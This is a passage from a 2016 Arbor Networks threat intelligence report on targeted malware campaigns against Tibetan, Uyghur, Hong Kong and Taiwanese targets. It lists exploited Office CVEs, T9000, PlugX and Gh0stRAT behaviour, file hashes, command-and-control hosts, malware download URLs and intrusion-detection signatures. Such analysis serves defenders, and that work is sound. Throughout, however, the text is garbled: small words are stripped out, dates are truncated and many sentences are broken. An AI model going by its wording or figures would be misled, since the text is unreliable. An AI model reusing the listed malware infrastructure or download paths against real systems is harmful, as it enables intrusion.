server then appears wait response. These nine bytes contain ASCII text eueuX_ There unprintable characters present however, including 0x05, 0x1b, 0x12 seen this hexdump: |eueu...X_| same connection used TCP/8080 also used 8088/tcp 8089/tcp this particular obtain same response consisting exact same sequence bytes. possible that this server configured support multiple campaigns, multiple actor groups, there some other explanation. Awareness this responsive pattern could provide potentially useful method fingerprint T9000 This communication pattern been observed wild least back 2014- 21:06:19 UTC, when someone submitted sample this byte sequence Virus Total (MD5: e1269c22ad1e057b9c91523498b4b04d). This address clearly interest since been used several samples uncovered this engagement. Some basic analysis reveals following open ports (filtered ports have been removed from this list). ports bold appear associated server- side component T9000 this instance: PORT STATE SERVICE 80/tcp open http 554/tcp open rtsp 1028/tcp open unknown Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 1433/tcp open 3389/tcp open 7070/tcp open 8080/tcp open 8088/tcp open 8089/tcp open 9000/tcp open 22779/tcp open 22790/tcp open 47001/tcp open sql- wbt- server realserver http- proxy radan- http unknown cslistener unknown unknown unknown Connecting Remote Desktop port server gives sense language server. Targeted Exploitation #8: T9000 Tibetan Protester Theme malicious file, using name Tibetan Protester Freed, Others Jailed.doc first observed wild 2015- 05:34:17 submitted analysis Virus Total from India. document exploits CVE- 2012- 0158, CVE- 2012- 1856 CVE- 2015- 1641. This document been determined drop T9000 backdoor malware based presence pointing previously discovered T9000 string (http://198.55.120[.]143:7386/B/ResN32.dll). insightful T9000 report from Palo Alto Networks describes this ResN32.dll file Malicious DLL. Decrypts, decompresses, loads core malware Other obvious strings present such string "D:\WORK\T9000\N_Inst_User_M1\Release\N_Inst_User32.pdb" many other clear T9000 artifacts. With regards bait file Tibetan Protester Freed, Others Jailed.doc that copied from website. news item from December 2015 posted Radio Free Asia [30] using this exact Tibetan Protester document title. webpage from Radio Free Asia seen left below bait file that appears have been built from website right. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement bait file document metadata indicates that created modified HighSea 12/31/2015, same that file uploaded Virus Total same other threat activity observed against Tibetan community. name HighSea appears other malicious document metadata profiled within this report. 198.55.120[.]143 tcp/7386 (malicious RTF): facd2fbf26e974bdeae3e4db19753f03 (T9000, BC29.tmp): e4e8493898d94f737ff4dc8fab743a4a Bait filename (~tmp.doc): Tibetan Protester Freed, Others Jailed.doc (~tmp.doc): 751196ce79dacd906eec9b5a1c92890b SHA- 256: (malicious RTF): 1140e06fa8580cf869744b01cc037c2d2d2b5af7f26f5b3448d9a536674d681c Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement SHA- (T9000, BC29.tmp): 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c SHA- (~tmp.doc): 76d54a0c8ed8d9a0b02f52d2400c8e74a9473e9bc92aeb558b2f4c894da1b88f Connections to Historical and Ongoing Threat Campaign Activity This sample uses same that been observed other T9000 samples analyzed herein. Targeted Exploitation incident this report features some assessment itself determine additional information about actors generate other IOCs. Targeted Exploitation #9: Agent.XST and other malware This document, exploiting CVE- 2012- 0158, CVE- 2012- 1856 CVE- 2015- 1641, observed using name 2016 .doc, which roughly translates English Prediction 2016 presidential election people center value.Doc First submitted from 1/7/2016 Virus Total. bait file contains following text: rough translation English reveals election related content: Office file metadata indicates when document created (1/6/2016 5:41 less than helpful value User author. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement batch file dropped malware, named wget.bat, contains following PowerShell code: Powershell code runs minimized instance wget.exe (also dropped malware) attempts obtain file named wthk.txt from server Taiwan, which then stored whtk.exe locally. this case, wthk.txt file longer available download site (www.kcico.com[.]tw/data/openwebmail/doc/wthk.txt) obtained through other means. file wthk.txt same malware family (Sample discussed Uncovering Seven Pointed Dagger paper (referred case 7PD, this malware (appears keylogger) originally stored inside file named Security- Patch- Update333.rar. Readers encouraged refer paper http://www.arbornetworks.com/blog/asert/wp- content/uploads/2016/01/ASERT- Threat- Intelligence- Brief- 2015- Uncovering- the- Seven- Point- Dagger.pdf full details. Execution malware results creation suspicious network traffic. initial connection triggers Emerging Threats signature TROJAN Win32/Agent.XST Checkin alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32/Agent.XST Checkin"; flow:established,to_server; content:"POST"; http_method; content:!"Referer|3a|"; http_header; content:!"Accept|3a|"; http_header; content:"Content-Type|3a 20|text/html|0d 0a|"; http_header; content:"this is UP"; depth:10; http_client_body; fast_pattern; content:"|00 00 00 00|"; http_client_body; reference:md5,d579d7a42ff140952da57264614c37bc; reference:url,asert.arbornetworks.com/wpcontent/uploads/2016/01/ASERT-Threat-Intelligence-Brief-Uncovering-the-Seven-PointedDagger.pdf; classtype:trojan-activity; sid:2022362; rev:2;) keep- alive packet generated from compromised host triggers Emerging Threats signature TROJAN Win32/Agent.XST Keepalive alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32/Agent.XST Keepalive"; flow:established,to_server; content:"POST|20|"; depth:5; content:".asp|20|HTTP/1."; distance:0; content:!"Referer|3a|"; distance:0; content:!"Accept|3a|"; distance:0; content:"Content-Length|3a 20|2|0d 0a|"; distance:0; fast_pattern; content:"ContentType|3a 20|text/html|0d 0a|"; content:"|0d 0a 0d 0a|ok"; distance:0; threshold: type limit, count 1, seconds 60, track by_src; reference:md5,d579d7a42ff140952da57264614c37bc; reference:url,asert.arbornetworks.com/wp-content/uploads/2016/01/ASERT-ThreatIntelligence-Brief-Uncovering-the-Seven-Pointed-Dagger.pdf; classtype:trojan-activity; sid:2022363; rev:2;) malware activity from this sample very similar sample discussed 7PD. Since findings available this family been profiled with much depth, details follows: Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement (wthk.txt) d579d7a42ff140952da57264614c37bc (First seen Virus Total 2016- Wthk.txt binary signed Binzhoushi Yongyu Feed Co.,LTd The certificate valid from 1/17/2014 1/18/2016. These valid dates exactly after valid dates certificate used aforementioned sample which valid from 1/16/2014 1/17/2016. Execution this malware creates Internet Explorer folder that contains following files: MD5 (conhost.exe) f70b295c6a5121b918682310ce0c2165 (same binary sample) Appears legit SandboxIE file, originally named SandboxieBITS.exe that signed SANDBOXIE L.T.D. ASERT five instances this file being used malware operations. Additionally, analysis files PEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals instances same slightly modified file being used various PlugX operations since least 2013. This file imports functions from SBIeDll.dll. MD5 (SBieDll.dll) f80edbb0fcfe7cec17592f61a06e4df2 This exports SbieApi_Log, SbieDLL_Hook(x,x,x) DllEntryPoint. This file sideloaded conhost.exe, which imports SbieApi_Log. The file maindll.dll loaded LoadLibaryW. The sample checks presence mutex "EDD4DB6D- E8E0- 42ae- A47B- 021DC227E2FA" with OpenMutexW does load maindll.dll mutex already set. maindll.dll loaded successfully, then string load maindll pushed stack, followed call GetProcAddress process name sbie_info. this successful, then another string work pushed stack. this successful then string work error instead pushed stack. This file contains string Y:/UDPSbieDLL/Release/SBieDLL.pdb Unlike previously observed version this file mentioned 7PD, this particular sample does appear packed otherwise obfuscated. MD5 (dll2.xor): ce8ec932be16b69ffa06626b3b423395 Based upon filename, this XOR- file. Additional analysis ongoing. MD5 (maindll.dll): d8ede9e6c3a1a30398b0b98130ee3b38 This binary obfuscated, likely with ASPack v2.12, requires further analysis. The compilation date this binary 0x54A93AD9 (Sun 07:06:33 2015) MD5 (nvsvc.exe) e0eb981ad6be0bd16246d5d442028687 This file uses Microsoft Foundation Classes (MFC) signed Square Network Tech Co.,LTD from city Zhongshan, Guangdong province, China November 2014 9:01:58 Square Network Tech Co.,LTD Square Network Tech Co.,LTD. Zhongshan, Guangdong, CN). digital signature contains attribute field 1.3.6.1.4.1.311.2.1.12 that lists string Microsoft Windows Shell explorer https:www.trustasia.com valid from 2014 2015. Trustasia.com digital certificate provider Shanghai, China. File references conhost.exe, dll2.xor, maindll.dll, SbieDll.dll, HOOK.DLL, itself. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement (runas.exe) 6a541de84074a2c4ff99eb43252d9030 This file contains jump table with cases, each leading five files dropped malware, with additional files referenced that present: HOOK.DLL mon. While full analysis still process, some interesting elements from aforementioned files include presence several resources inside nvsvc.exe file. Resource appears left, resource right. These default resources some application, however their presence indicator. SbIEDll.dll file uses tactic similar what used older instance PlugX whereby fake exported function used [31]. While both legitimate instance SbieDll.DLL this malicious version have export address table entry SbieApi_Log, malicious version implements function that basically does nothing other than setting register legitimate instance function displayed left, while malicious instance function displayed right. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Once wthk.txt file downloaded PowerShell, dropped file fuso.exe executed. binary named fuso.exe very simple binary that appears execute another application named Keyainst.exe: Unfortunately, Keyainst.exe available during this analysis. Connections to Historical and Ongoing Threat Campaign Activity recently published (March 2016) blog Michael Taiwan Presidential Election: Case Study Thematic Targeting [32] also discusses aspects this sample reveals that used targeted Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement exploitation attempts upon Hong Kong activist politician. this case, malware being called SunOrcal Surtr were involving using same path malware download observed here (www.kcico.com[.]tw/data/openwebmail/doc/wthk.txt) pivots from these samples revealed connections activity early 2010 associated with targeting Tibet Hong Kong. Pivoting mutex checked SbIEDll.dll binary results discovery malware analyzed 2013 (MD5: 983333e2c878a62d95747c36748198f0) using filename .docx which roughly translates List Chinese National Security Council staff early exposure settings .docx that using exploit code CVE- 2013- 3906. Additional pivots provide other insight. 59.188.12[.]123 TCP/8008, located Hong Kong. Passive reveals that this address been used dynamic domain yeaton.xicp[.]net from 2016- 23:50:44 until least 2016- (resolution appears ongoing). 2012 forum posts, domain yeaton.xicp[.]net used advertising service China that claims able bypass great firewall. While 2012 long time ago, possible that threat actor using service. 59.188.12[.]123 TCP/8008 (RTF): 09ddd70517cb48a46d9f93644b29c72f (~tmp.doc): e6ad959a18725954a56a7954d3f47671 (RAR): d8becbd6f188e3fb2c4d23a2d36d137b (iuso.exe): 07eb4867e436bbef759a9877402af994 (wget.bat): 47e60e347b5791d5f17939f9c97fee01 (wget.exe): f9f8d1c53d312f17c6f830e7b4e6651d (wthk.txt): d579d7a42ff140952da57264614c37bc (conhost.exe): f70b295c6a5121b918682310ce0c2165 (SBieDll.dll): f80edbb0fcfe7cec17592f61a06e4df2 (dll2.xor): ce8ec932be16b69ffa06626b3b423395 (maindll.dll): d8ede9e6c3a1a30398b0b98130ee3b38 (nvsvc.exe): e0eb981ad6be0bd16246d5d442028687 (runas.exe): 6a541de84074a2c4ff99eb43252d9030 SHA- (RTF): 41d05788d844b59f8eb79aeb2060dd5b7bdcad01e8d720f4b8b80d552e41cfe2 SHA- 256: (~tmp.doc): f0b5336b6f890e2029ac242ad2b613cad535828f7b7004a2284683f3195b7616 SHA- (RAR): ddc05b9f39f579f64742980980ca9820b83a243889bbc5baa37f5c2c1c4beb30 8EC7.tmp SHA- (iuso.exe) cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082 SHA- (wget.bat): 9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692 SHA- (wget.exe): bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749 SHA- (wthk.txt): 5b875ecf0b7f67a4429aeaa841eddf8e6b58771e16dbdb43ad6918aa7a5b582d SHA- (conhost.exe): 4849af113960f473749acf71d11d56854589cf21d623e66c7408bebd5ad0608f SHA- (SbieDll.dll): 2ac69633da711f244377483d99fac53089ec6614a61d8a1492a0e7228cbb8ffd SHA- (dll2.xor): c3fee1c7d402f144023dade4e63dc65db42fc4d6430f9885ece6aa7fa77cade0 Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement SHA- (maindll.dll): 5838582ea26312cc60b43da555189b439d3688597a705e3a52dc4d935517f69d SHA- (nvsvc.exe): ec05e37230e6534fa148b8e022f797ad0afe80f699fbd222a46672118663cf00 SHA- (runas.exe): 5b34b3365eb6a6c700b391172849a2668d66a167669018ae3b9555bc2d1e54ab File creation: conhost.log File creation: keylog File creation: srvlic.dll File creation: up.dat File creation: xx1.tmp File creation: xx2.tmp File creation: xx3.tmp File creation: xx4.tmp File creation: xx5.tmp File creation: xx6.tmp Targeted Exploitation #10: PlugX, Tibetan theme original filename HUMAN RIGHTS SITUATION TIBET.doc. bait file originally horizontal, been rotated sake readability, consists first pages apparently from document published Tibetan Center Human Rights Democracy called HUMAN RIGHTS SITUATION TIBET metadata Word bait file shows February 2016 timeframe user member0975 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement PlugX malware configuration follows: After exploitation, query www.whitewall[.]top; resolves 118.193.240[.]195. Next, compromised host initiates traffic UDP/8080 followed traffic UDP/995. Extracting from memory reveals http://www.whitewall.top[:]8080/850D3011FA326CBB6F57A965 http://www.whitewall[.]top:995/5724DD3DCC4A19E8416E5691. small (2KB) file named skljxpikxzp (likely random name) appeared compromised system after about hour. This file examined depth appears encoded. instance msiexec.exe appears have been spawned from svchost.exe that related this file. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement www.whitewall[.]top UDP/8080 www.whitewall[.]top UDP/995 (RTF): ee49bd5f35cc3012b5b606aca9b0f561 (fsguidll.exe): 2d7a648ebe64e536944c011c8dcbb375 (fslapi.dll): 13d3d0699562a57cf575dd7f969b3141 (fslapi.dll.gui): 894c251a3aad150f80a8af2539baf9d1 (ufbidruosivibuted): caefdd6ca90ff791cdeff9313136972e (PlugX): 103873e3fa8dfc2360bb5c22761da04a SHA256 (RTF): 58f8a906b49711d2a6aaed0b59e1c1b7fcf5757666e0567fe50e996bfe0a4589 SHA- (fsguidll.exe): 5c5e3201d6343e0536b86cb4ab0831c482a304c62cd09c01ac8bdeee5755f635 SHA- (fslapi.dll): 2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083 SHA- (fslapi.dll.gui): dc4dac22d58ed7c0cadb13a621f42cb9a01851385ca0dc5b94a73c91677a0739 SHA- (ufbidruosivibuted): a78ea84acf57e0c54d5b1e5e3bd5eec31cc5935f16d9575e049e161420736e32 SHA256 (PlugX): 40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 Connections to Historical and Ongoing Threat Campaign Activity www.whitewall[.]top resolves 118.193.240[.]195 time this writing appears hosted within netblock (ASN 58879) belonging ANCHNET Shanghai Anchang Network Security Technology China. Passive reveals several recent resolutions (that continue this writing): Domain www.turkistanuyghur.top www.yawropauyghur.top www.whitewall.top www.japanuyghur.top www.hotansft.top www.amerikauyghur.top www.yawropauyghur.top www.turkistanuyghur.top www.whitewall.top www.hotansft.top www.japanuyghur.top www.amerikauyghur.top www.yawropauyghur.top www.whitewall.top www.turkistanuyghur.top www.japanuyghur.top www.amerikauyghur.top www.yawropauyghur.top www.whitewall.top www.amerikauyghur.top turkiyeuyghur.com First Seen 2016- 18:31:40 2016- 18:31:56 2016- 18:31:49 2016- 18:30:49 2016- 01:28:56 2016- 01:28:05 2016- 18:32:50 2016- 21:26:13 2016- 22:00:00 2016- 20:46:10 2016- 05:37:55 2016- 14:49:44 2016- 01:29:14 2016- 01:29:39 2016- 01:26:48 2016- 01:26:00 2016- 01:26:33 2016- 00:00:00 2016- 00:00:00 2016- 00:00:00 2015- 06:33:09 Last Seen 2016- 12:30:17 2016- 01:30:12 2016- 01:30:07 2016- 01:29:06 2016- 01:29:03 2016- 01:28:22 2016- 05:13:12 2016- 05:13:11 2016- 05:13:11 2016- 05:13:06 2016- 05:13:06 2016- 05:13:00 2016- 12:30:37 2016- 12:30:36 2016- 12:30:24 2016- 12:29:30 2016- 01:27:14 2016- 00:00:00 2016- 00:00:00 2016- 12:55:26 2016- 22:49:35 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement www.turkistanuyghur.top www.japanuyghur.top turkiyeuyghur.com 2016- 01:26:09 2016- 00:00:00 2015- 09:59:30 2016- 01:26:41 2016- 01:25:57 2015- 22:19:55 interest Uyghurs noted, with Uyghur themed domains being created from December 2015. interest Uyghurs potentially consistent with past threat activity terms targeting, although further investigation performed. presence PlugX among other Uyghur themed domains suggests there additional threat activity discovered. Moving away from domain pivots into binary naming schemes, this particular instance PlugX uses binary that contains service description Secure componet service least three other PlugX samples same service description. These three samples have following properties: Sample MD5: 533cd66cf420e8919329ee850077319c SHA256: 0ba814941a0adb344cbf2a90552a66b52faa99a24d3107735da1db5a0e1f8360 Sample MD5: e327abcfd09be4e8f64ef35026309747 SHA256: 8b6ef2f4e2af608c755b3114e98ab78ac89e089db5b0bece7f2dc68bd1026a78 Sample MD5: 103873e3fa8dfc2360bb5c22761da04a SHA256: 40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 these, sample also contains exact same auth string 33333 Assuming least some these values manually input into malware builder application, consider possibility relationship between these samples that could warrant further investigation. Targeted Exploitation #11: Gh0stRAT (LURK0), PlugX, Other Malware This instance Gh0stRAT modified string LURK0 instead Gh0st when traffic initiated This malicious only appears exploit CVE- 2015- 1641, despite document matching Four Element Builder kit. When malware executes, launches hidden Internet Explorer instance injects into instance with WriteMemory CreateRemoteThread process injections: WRITE_MEMORY 0x00140000 [0x0000005c bytes] [PID: 1076] [C:\Program Files\Internet Explorer\iexplore.exe] CREATE_REMOTE_THREAD 0x7c80aedb [PID: 1076] [C:\Program Files\Internet Explorer\iexplore.exe] injected instance Internet Explorer starts with current directory AppData\Roaming\Micbt. This folder created malware. malware then initiates query manhaton.123nat[.]com, Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement which analysis time resolved 122.10.112[.]126. port appears TCP/8030, responding during analysis. lookup reveals that China Hong Kong: 133731 122.10.112.126 TOINTER- Royal Network Technology Co., Ltd. Guangzhou,CN 134121 122.10.112.126 RAINBOW- Rainbow network limited,HK LURK0 variant Gh0stRAT well documented been used against Tibetan community others years [33] [34] [35]. Network activity appears such, with telltale LURK0 string appearing start packet. following network- based alerts notify organizations Gh0stRAT LURK0 variant traffic: [2016922] TROJAN Backdoor family PCRat/Gh0st traffic [2021716] TROJAN Backdoor family PCRat/Gh0st traffic (OUTBOUND) [2808814] ETPRO TROJAN Backdoor family PCRat/Gh0st Response IOCs manhaton.123nat[.]com 122.10.112[.]126 TCP/8030 (90t69cf82.dll): 86ebcbb3bdd8af257b52daa869ddd6c1 (RTF): b51dd4d5731b71c1a191294466cc8288 (B412.tmp): 111273c8cba88636a036e250c2626b12 (~tmp.doc): e538ad13417b773714b75b5d602e4c6e recognized Gh0stRAT (Micbt/BTFly.dump): f7c04e8b188fa38d0f62f620e3bf01dc (Micbt/CltID.ini): 54afa267dd5acef3858dd6dbea609cd9 (Micbt/IconConfigBt.DAT): 516774cb0d5d56b300c402f63fe47523 (Micbt/MemoryLoad.dump): db0f8ba69aa71e9404b52d951458b97c (Micbt/RasTls.dll): 1e9e9ce1445a13c1ff4bf82f4a38de0d (Micbt/RasTls.exe): 62944e26b36b1dcace429ae26ba66164 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement SHA- (90t69cf82.dll): afd0eae5065a689f8fc48c0cfc5b87f4caecc2fb6b1cef4c5e977fc2cc98509d SHA- (RTF): a0da9887b4c5af009a41b783db7ffedf949013abc70777c0ec539299628a51eb SHA- (B512.tmp): cdb1d2f843ce797084cfc90107a2582e4861f4051aab0f6ac374468f491232a5 SHA- (~tmp.doc): aecd3e146632e9dfa0a92f486855144df0f87181feb67ac414a618fd52960c8c SHA- (Micbt/BTFly.dump): 3b828a81ff5b0766c99284524b18fcd10d553191741bc1ed89904cdaa79baae1 SHA- (Micbt/CltID.ini): 1590a42e67fe02892dfeb6f29e0e6ae91c503d4ea91b550557c513e92f5ac7eb SHA- (Micbt/IconConfigBt.DAT): 0a47bd32b83f09be1ea5a29dce6b7d307de7b3cdd69f836e0c810fd578f85c7c SHA- (Micbt/MemoryLoad.dump): aace766acea06845c29b306a9e080edcb3407635398007f3b9b5e053198b54f4 SHA- (Micbt/RasTls.dll): bc2f7ebcad10aa48a69680f14fc57434436b821d5e7f2666a0f6d8795b0d37d1 SHA- (Micbt/RasTls.exe): f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 Some potentially useful Unicode strings present inside RasTls files: Unicode Strings: ===================== ProgramFiles kernel32.dll SeDebugPrivilege Install SOFTWARE\Microsoft\Windows\DbxUpdateBT SOFTWARE\Microsoft\Windows\ \%dt%dcf%d.dll \MemoryLoad.dump \IconConfigBt.DAT case case into InjectProMain %ProgramFiles%\Internet Explorer\iexplore.exe iexplore.exe process (that target process injection) loads 90t69cf82.dll binary that malware also dropped. Connections to Historical and Ongoing Threat Campaign Activity ASERT other instances Gh0stRAT, LURK0 version malware repository. Passive pivots address associated with manhaton.123nat[.]com (122.10.112[.]126) reveals several other potentially interesting domains that have used this including: softinc[.]pw www.tibetimes[.]com. interesting note that this tibetimes.com domain have been attempt spoof domain www.tibettimes.net. Passive shows activity, including relationships Uyghur based domains. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Domain name www.tibetimes.com softinc.pw First seen 2015- 02:04:24 2015- 06:43:26 Last seen 2015- 01:25:34 2015- 18:57:21 email address associated with these domains lobsang[@]gmx.com another 2732115454[@]qq.com. these mail addresses associate with Uyghur Tibetan themed domains shown here: following diagram zooms Uyghur- based domain names highlighting connection between this Gh0stRAT sample domain metadata other activity observed, such domain whitewall[.]top used PlugX configuration previously mentioned. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Additional investigations underway determine scope particular threat herein. Targeted Exploitation #12: T9000 Malware; Tibet House Lure This malware originates December 2015 used original filename [tibethouse] Upcoming Program Announcement Last Week December.doc This timing naming scheme consistent with Tibetan- themed engagement seen late December 2015. malware first submitted Virus Total from India, exploits CVE- 2012- 0158, CVE- 2012- 1856, CVE- 2016- 1641. bait file seven page Upcoming Programme Announcement apparently written Tibet House. Document metadata shows user name HighSea (previously observed Targeted Exploitation herein): Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Related People values inside these documents related threat actors, threat actor infrastructure. There enough information determine these names simply generated programmatically they actually represent real people. event, names have been used some cases useful indicator maliciously crafted document. malware play here T9000, displaying usual expected T9000 files including Elevate.DLL file discussed earlier this report. malware binary itself identical aforementioned T9000 sample (Sixteen Drops Kadam Empowerment: T9000 Keylogger) therefore also identical what reported earlier. 198.55.120[.]143:7386 URL: http://198.55.120[.]143:7386/B/ResN32.dll (RTF): 98bcd226890c5c2694ef9a34a23c9fbf (Elevate.dll): 1d335f6a58cb9fab503a9b9cb371f57b (QQMgr.dll): b9c584c7c34d14599de8cd3b72f2074b (QQMgr.inf): 8ac933be588f49560179c26ddbc6a753 (ResN32.dat): 50753c28878ce10a748fbd7b831ecbe1 (ResN32.dll): a45e5c32fc2bc7be9d6e4bba8b2807bf (hccutils.dll): 2299fb8268f47294eb2b18282540a955 (hccutils.inf): 2f31ef1a8fca047ed0d623010d569857 (hjwe.dat): d3601a5160b8d122261989d147221eb7 (qhnj.dat): a9de62186cb8d0e23b0dc75e1ae373ac (tyeu.dat): 29ec20f5fa1817dc9250c434e61420ea (vnkd.dat): 35f4ce864c3a3dc016fea3459d6402a9 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement (~1): b901f0b4aa6a3a6875235f96fce15839 SHA- (RTF): e13a0357cd51795100dbce25fe846783fbb7fd22c5efe438d9059edc10492f49 SHA- (Elevate.dll): 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 SHA- (QQMgr.dll): bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f SHA- (QQMgr.inf): ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a SHA- (ResN32.dat): 5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 SHA- (ResN32.dll): 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 SHA- (hccutils.dll): 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 SHA- (hccutils.inf): f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 SHA- (hjwe.dat): bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b SHA- (qhnj.dat): c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 SHA- (tyeu.dat): e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 SHA- (vnkd.dat): c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 SHA- (~1): df50ea33616c916720c81d65563175d998a2c606360eeb3c8b727a482de3a4fc Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Conclusion Threat actors using similar exploit code launching continuing variety campaigns (termed engagement herein, where engagement offensive action within larger campaign context) aimed targets such Tibetan community, Hong Kong Taiwanese media, Asian human rights workers. easy delivery files attachments observation numerous spear phish samples which reveal precise targeting timelines, likely that spearphish primary vector choice most targeted exploitation scenarios profiled herein. files observed herein contained four unique exploits various versions Office. hypothesized that similar builder which named Four Element Sword Builder involved creation these malicious documents, however future work required precisely classify Four Element Sword builder with respect crimeware activity. case oriented threat scenarios profiled herein, anywhere from exploits were typically observed. case cybercrime activities that will profiled separate forthcoming document, these exploits were typically observed. exploit code observed deals with older vulnerabilities that have been patched. However, considering target populations hand, possible that older systems still use. Once actors gain toehold inside organization, past history shows that just matter time before lateral movement further exploitation scenarios will unfold implement actors actions objectives. case Tibetan community, which been under attack years, there have been awareness campaigns designed reduce risk implementing special controls procedures around dealing with attachments. Recently published documents other security research organizations have revealed that actors have evolved newer methods their ongoing efforts stay beneath radar. Regardless delivery method, malware profiled herein active threats likely deployed numerous other scenarios this, other groups actors. While older exploit code threat some populations others, weaponization other vulnerabilities likely taking place such malware easily become payload such case, making analytic detective insight malicious code relevance defenders global defensive sphere. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement References 1. https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf 2. https://chinaview.wordpress.com/category/technology/internet/wikipedia/ 3. http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2012-0158-now-being-used-in-more-tibetanthemed-targeted-attack-campaigns/ 4. http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html 5. http://blog.ropchain.com/2015/07/27/analyzing-vupens-cve-2012-1856/ 6. https://gist.github.com/anonymous/4ac64f2a747db1bf5c89/revisions 7. https://www.youtube.com/channel/UCjgTCn331Pk4XTI68LwhkdQ/feed 8. https://nakedsecurity.sophos.com/2015/09/08/anatomy-of-a-malicious-email-recent-word-hole/ 9. https://nakedsecurity.sophos.com/2015/12/14/exploit-upgrade-for-microsoft-word-intruder-crimeware-kit/ 10. http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1770 11. https://technet.microsoft.com/library/security/ms15-059 12. http://researchcenter.paloaltonetworks.com/2015/08/rtf-exploit-installs-italian-rat-uwarrior/ 13. http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-ofmyanmars-website/ 14. https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf 15. https://www.f-secure.com/weblog/archives00001736.html 16. https://github.com/citizenlab/malware-indicators/blob/master/network-indicators.csv 17. http://www.europarl.europa.eu/meetdocs/2014_2019/documents/droi/dv/420_speechmckune_/420_speechmckun e_en.pdf 18. https://www.virusbulletin.com/uploads/pdf/conference_slides/2013/Szappanos-VB2013.pdf 19. https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack/ 20. https://cryptam.com/docsearch.php?hash=0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f 76b49&submit=Search 21. http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted-attack-campaigns.pdf 22. http://blog.trendmicro.com/trendlabs-security-intelligence/new-targeted-attack-group-buys-bifrose-code-works-inteams/ 23. http://www.engadget.com/2014/01/16/cos-china-operating-system/ 24. http://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-governmentagencies-2/ 25. http://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bitsupport 26. http://tibet.net/2016/01/sixteen-drops-of-kadam-empowerment-day-two/ 27. http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-antianalysis-techniques/ 28. http://blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html 29. https://www.greyhathacker.net/?tag=elevate 30. http://www.rfa.org/english/news/tibet/freed-12042015165254.html 31. 